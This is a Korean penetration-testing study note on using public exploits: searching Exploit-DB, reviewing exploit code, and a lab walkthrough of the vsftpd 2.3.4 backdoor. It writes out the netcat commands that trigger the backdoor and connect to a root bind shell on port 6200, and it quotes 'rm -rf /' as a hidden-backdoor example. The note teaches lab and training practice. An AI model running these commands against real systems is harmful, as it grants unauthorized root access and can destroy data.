모의해킹
호스트기반모의해킹_28_공개 익스플로잇
작성자 : Heehyeon Yoo|2025-12-08
# 모의해킹# Public Exploit# Searchsploit# ExploitDB# Code Review
1. 공개 익스플로잇(Public Exploit) 개요
이미 알려진 취약점(CVE 등)을 공격하기 위해 공개된 공격 코드나 스크립트. 공격자들이 가장 흔하게 사용하는 방식이다.
1.1 핵심 원칙: 가용성(Availability) 보장
모의해킹에서 가장 주의해야 할 점은 시스템을 망가뜨리지 않는 것이다.
- DoS / BSOD 주의: 일부 익스플로잇(특히 메모리 커럽션 류)은 실패 시 서비스가 죽거나(Crash), 시스템이 재부팅(Blue Screen of Death)될 수 있다.
- Artifact: 공격 흔적(생성된 계정, 파일 등)은 반드시 기록하고 제거해야 한다.
1.2 익스플로잇 검색 및 검증
- 검색 도구:
searchsploit [term]: Kali Linux 내장 CLI 도구(Exploit-DB 미러).Exploit-DB,GitHub: 웹 검색.
- 검증(Code Review) - ★필수:
- 악성 코드 주의: 인터넷에 떠도는 익스플로잇 중에는 모의해커를 역으로 해킹하기 위한 백도어(
rm -rf /)가 숨겨진 경우가 많다. - 소스 코드 분석: 실행 전 반드시 코드를 열어보고
os.system()이나 소켓 통신 부분을 확인해야 한다. - 원작자 확인: 신뢰할 수 있는 보안 연구원인가?
- 악성 코드 주의: 인터넷에 떠도는 익스플로잇 중에는 모의해커를 역으로 해킹하기 위한 백도어(
2. 실습: vsftpd 2.3.4 Backdoor
2.1 취약점 분석
vsftpd 2.3.4 버전 소스 코드에 개발자가 의도치 않은(혹은 악의적인) 백도어가 삽입된 사건.
- 트리거 조건: 사용자 이름(Username) 끝에
:)(스마일리 페이스)가 포함되면 백도어 함수가 실행된다. - 동작: 6200번 포트에서 루트 쉘(Root Shell)이 열림(Bind Shell).
2.2 공격 실행(Manual Exploitation)
스크립트를 쓸 수도 있지만, 원리를 안다면 수동으로 가능하다.
- Trigger:
nc [Target_IP] 21 USER hello:) PASS password
(여기서 FTP 서비스가 멈칫(Hang)하면 백도어 실행 성공)
2. Connect:
bash nc [Target_IP] 6200 id (root 권한 확인)
3. 실무 팁
- 환경 차이: 공개 익스플로잇은 특정 OS 버전이나 환경에 맞춰진 경우가 많다. 내 타겟 환경(OS 버전, 아키텍처 등)에 맞게 코드를 수정(Porting)해야 할 수도 있다.
- 제3자 실행 금지: 검증되지 않은 바이너리 파일(.exe, .elf)은 절대 실행하지 않는다. 소스 코드(.py, .c) 위주로 사용한다.